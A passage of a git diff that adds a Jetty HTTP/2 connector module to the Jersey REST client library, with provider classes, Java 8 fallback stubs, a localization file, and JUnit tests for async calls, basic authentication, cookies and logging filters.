+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        return new JettyHttp2Connector(client, runtimeConfig);
+    }
+
+    public static HttpClient getHttpClient(Configurable<?> component) {
+        if (!(component instanceof Initializable)) {
+            throw new IllegalArgumentException(
+                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+        }
+
+        final Initializable<?> initializable = (Initializable<?>) component;
+        Connector connector = initializable.getConfiguration().getConnector();
+        if (connector == null) {
+            initializable.preInitialize();
+            connector = initializable.getConfiguration().getConnector();
+        }
+
+        if (connector instanceof JettyHttp2Connector) {
+            return ((JettyHttp2Connector) connector).getHttpClient();
+        }
+
+        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
new file mode 100644
index 0000000..6275727
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
+    private final HttpClient http2Client;
+
+    /**
+     * default Http2Client created for the supplier.
+     */
+    public JettyHttp2ClientSupplier() {
+        this(createHttp2Client());
+    }
+    /**
+     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
+     * to a {@link org.glassfish.jersey.client.ClientConfig}
+     * @param http2Client seed doc for JDK 11+.
+     */
+    public JettyHttp2ClientSupplier(HttpClient http2Client) {
+        this.http2Client = http2Client;
+    }
+
+    private static final HttpClient createHttp2Client() {
+        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return null; // does not work at JDK 1.8
+    }
+
+    @Override
+    public HttpClient getHttpClient() {
+        return http2Client;
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..74e5670
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return null; // does not work at JDK 1.8
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties
new file mode 100644
index 0000000..aacb267
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties
@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
new file mode 100644
index 0000000..76ef67b
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AsyncTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
+    private static final String PATH = "async";
+
+    /**
+     * Asynchronous test resource.
+     */
+    @Path(PATH)
+    public static class AsyncResource {
+        /**
+         * Typical long-running operation duration.
+         */
+        public static final long OPERATION_DURATION = 1000;
+
+        /**
+         * Long-running asynchronous post.
+         *
+         * @param asyncResponse async response.
+         * @param id            post request id (received as request payload).
+         */
+        @POST
+        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(OPERATION_DURATION);
+                        return "DONE-" + id;
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED-" + id;
+                    } finally {
+                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }, "async-post-runner-" + id).start();
+        }
+
+        /**
+         * Long-running async get request that times out.
+         *
+         * @param asyncResponse async response.
+         */
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                            .entity("Operation time out.").build());
+                }
+            });
+            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                    .entity("Operation time out.").build());
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+                    // simulated using sleep()
+                    try {
+                        Thread.sleep(5 * OPERATION_DURATION);
+                        return "DONE";
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED";
+                    } finally {
+                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }).start();
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(AsyncResource.class)
+                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    /**
+     * Test asynchronous POST.
+     *
+     * Send 3 async POST requests and wait to receive the responses. Check the response content and
+     * assert that the operation did not take more than twice as long as a single long operation duration
+     * (this ensures async request execution).
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncPost() throws Exception {
+        final long tic = System.currentTimeMillis();
+
+        // Submit requests asynchronously.
+        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
+        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
+        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
+        // get() waits for the response
+        final String r1 = rf1.get().readEntity(String.class);
+        final String r2 = rf2.get().readEntity(String.class);
+        final String r3 = rf3.get().readEntity(String.class);
+
+        final long toc = System.currentTimeMillis();
+
+        assertEquals("DONE-1", r1);
+        assertEquals("DONE-2", r2);
+        assertEquals("DONE-3", r3);
+
+        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+    }
+
+    /**
+     * Test accessing an operation that times out on the server.
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncGetWithTimeout() throws Exception {
+        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
new file mode 100644
index 0000000..5daad2d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AuthFilterTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testAuthGetWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAuthPostWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+
+    @Test
+    public void testAuthDeleteWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().delete();
+        assertEquals(204, response.getStatus());
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
new file mode 100644
index 0000000..7fe2edf
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class AuthTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+    private static final String PATH = "test";
+
+    @Path("/test")
+    @Singleton
+    public static class AuthResource {
+
+        int requestCount = 0;
+
+        @GET
+        public String get(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return "GET";
+        }
+
+        @GET
+        @Path("filter")
+        public String getFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return "GET";
+        }
+
+        @POST
+        public String post(@Context HttpHeaders h, String e) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return e;
+        }
+
+        @POST
+        @Path("filter")
+        public String postFilter(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+
+        @DELETE
+        public void delete(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+        }
+
+        @DELETE
+        @Path("filter")
+        public void deleteFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+        }
+
+        @DELETE
+        @Path("filter/withEntity")
+        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testAuthGet() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthPost() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthDelete() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().delete();
+        assertEquals(response.getStatus(), 204);
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
new file mode 100644
index 0000000..eb1c653
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class CookieTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+    @Path("/")
+    public static class CookieResource {
+        @GET
+        public Response get(@Context HttpHeaders h) {
+            Cookie c = h.getCookies().get("name");
+            String e = (c == null) ? "NO-COOKIE" : c.getValue();
+            return Response.ok(e)
+                    .cookie(new NewCookie("name", "value")).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(CookieResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testCookieResource() {
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testDisabledCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+        cc.connectorProvider(new JettyHttp2ConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+
+        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+        if (connector.getCookieStore() != null) {
+            assertTrue(connector.getCookieStore().getCookies().isEmpty());
+        } else {
+            assertNull(connector.getCookieStore());
+        }
+        client.close();
+    }
+
+    @Test
+    public void testCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.connectorProvider(new JettyHttp2ConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+
+        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+        assertNotNull(connector.getCookieStore().getCookies());
+        assertEquals(1, connector.getCookieStore().getCookies().size());
+        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+        client.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
new file mode 100644
index 0000000..369169a
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+        ClientRequestFilter, ClientResponseFilter {
+
+    static int preFilterCalled = 0;
+    static int postFilterCalled = 0;
+
+    @Override
+    public void filter(ClientRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        postFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        postFilterCalled++;
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
new file mode 100644
index 0000000..0f508ca
--- /dev/null
